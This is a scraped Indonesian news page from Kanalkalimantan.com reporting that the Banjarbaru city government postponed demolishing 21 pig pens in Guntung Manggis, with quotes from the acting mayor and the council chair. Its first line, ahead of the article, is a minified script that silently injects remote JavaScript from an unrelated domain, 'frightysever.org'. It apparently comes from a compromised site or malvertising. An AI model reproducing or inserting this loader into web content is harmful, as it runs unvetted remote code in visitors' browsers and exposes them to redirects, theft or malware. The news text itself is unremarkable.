(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menunda eksekusi pembongkaran 21 kadang ternak babi di Jalan Pandarapan RT 034 RW 005, Kelurahan Guntung Manggis, Kota Banjarbaru hingga waktu yang belum ditentukan.
Rencananya eksekusi pembongkaran dilaksanakan, Kamis (26/9/2024) pukul 09.00 Wita, dimulai dengan apel gabungan di halaman kantor Kecamatan Landasan Ulin.
Belakangan, petugas gabungan mulai dari Satpol PP, Damkar, Disperkim, kelurahan maupun kecamatan tidak datang ke lokasi peternakan yang persis berada di belakang Kampus 2 UIN Antasari di Banjarbaru tersebut. Petugas hanya melaksanakan apel lalu membubarkan barisan.
Seyogyanya berdasarkan Surat Keputusan (SK) Wali Kota Banjarbaru, batas waktu pembongkaran kandang babi terakhir pada 25 September 2024.
Baca juga: Eksekusi Pembongkaran Kandang Babi di Guntung Manggis Batal
Pjs Wali Kota Banjarbaru, Dra Nurliani MAP yang memimpin apel menegaskan, Pemko Banjarbaru akan tetap melaksanakan eksekusi pembongkaran kandang babi dalam waktu dekat.
“Pemko Banjarbaru tetap komitmen meneggakkan Perda, tidak membatalkan tapi hanya menunda saja,” ujar perempuan yang disapa Bunda Nunung ini saat di halaman kantor Kecamatan Landasan Ulin.
“Insya Allah dalam waktu dekat akan tetap dilaksanakan,” sambungnya.
Dirinya menjelaskan, alasan eksekusi pembongkaran kandang babi ditunda karena adanya kendala teknis, sehingga pembongkaran pada terpaksa tidak dilakukan.
“Penundaan karena ada kendala teknis, jadi yang perlu digaris bawahi pemerintah kota hanya menunda bukan membatalkan,” jelas dia.
Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi
Di sisi lain, Ketua DPRD Banjarbaru, Fadliansyah turut menanggapi dengan meminta pemerintah kota untuk memberikan tenggat waktu pembongkaran lebih panjang dengan beberapa pertimbangan.
“Berikan lah tenggat agar mereka memindahkan kandang sendiri, karena pemindahan kandang tidak sertamerta gampang, butuh proses mebamgun kandang baru hingga pengangkutan babi itu yang harus dipikirkan Pemko membijaksanainya,” ungkap Fadliansyah terpisah.
Baca juga: Serikat Petani Indonesia dan Walhi Kalsel Dampingi Petani Sumardi Jalani Sidang
Dirinya mengharapkan Pemko Banjarbaru bersedia memberikan tenggat waktu agar peternak bisa pindah dengan sukarela. Dirinya tidak ingin sampai ada pihak yang terkesan dipaksa dan terintimidasi.
“Tenggat waktu terserah lah, mau tidak sampai Desember atau memang sepakat pindah semua artinya jangan sampai ada paksaan, kalau sudah selesai proses di tempat baru, setelah itu baru pindah,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
This website uses cookies.